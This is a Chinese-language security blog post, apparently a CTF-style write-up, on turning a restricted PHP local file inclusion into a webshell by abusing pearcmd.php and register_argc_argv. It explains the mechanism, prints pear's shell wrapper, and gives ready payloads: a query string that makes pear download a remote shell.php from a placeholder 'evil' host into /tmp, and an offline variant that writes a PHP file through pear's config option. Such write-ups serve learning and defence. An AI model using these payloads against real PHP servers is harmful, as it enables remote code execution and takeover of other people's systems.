[web安全] 利用pearcmd.php从LFI到getshell

有一段时间没写blog了,主要是事多,加上学的有些迷茫,所以内耗比较大。害,沉下心好好学吧。

漏洞利用背景:
允许文件包含,但session等各种文件包含都已经被过滤了。ctf题中可以关注register_argc_argv,也算是个提示

环境准备

  • 安装php
apt-get install php7.4
  • 安装pear
apt-get install php-pear

image
安装成功

pear是什么?

PEAR就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库
类似于composer,用于代码的下载与管理。

利用pear拉去远程代码

pear install -R /tmp http://evil:80/shell.php

image

register_argc_argv

php.ini默认为off,(当不存在下载的php中不存在php.ini时,默认为On)。

  • cli模式

不需要开启php.ini,即可通过$_SERVER['argv']获取命令行参数,和cmd一样
image

  • web模式

在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
cli模式下的argv在web模式下不适用

该变量是对queryString以+号进行切割,而不是&
image

image

register_argc_argv和pear的联系

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear本质上就是个sh文件,上面是文件内容。
重点就是当执行了pear时,会将$_SERVER['argv']当作参数一起执行,从而自动拉取了指定的php文件

利用方法

当有存在有限制的文件包含漏洞时,利用该漏洞,先远程拉取恶意文件到/tmp等权限要求低的目录下,再利用文件包含

利用前提
1.开启了register_argc_argv
2.要有pear管理包
3.无basedir的限制
4.允许包含php文件

允许出网的情况

payload

file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://evil/shell.php

注意:并不是所有的pear都在该路径下,需要确保该php文件的位置。例如我的就在/usr/share下
image

但如果不允许出网的情况怎么办?

image

可以通过设置config,再将配置保存到指定文件

exp

pear -c /tmp/.feng.php -d man_dir= -s

利用如上

只能说还有很多地方需要学。。。

posted @ 2021-11-29 20:16  Aur0ra*  阅读(1089)  评论(0编辑  收藏  举报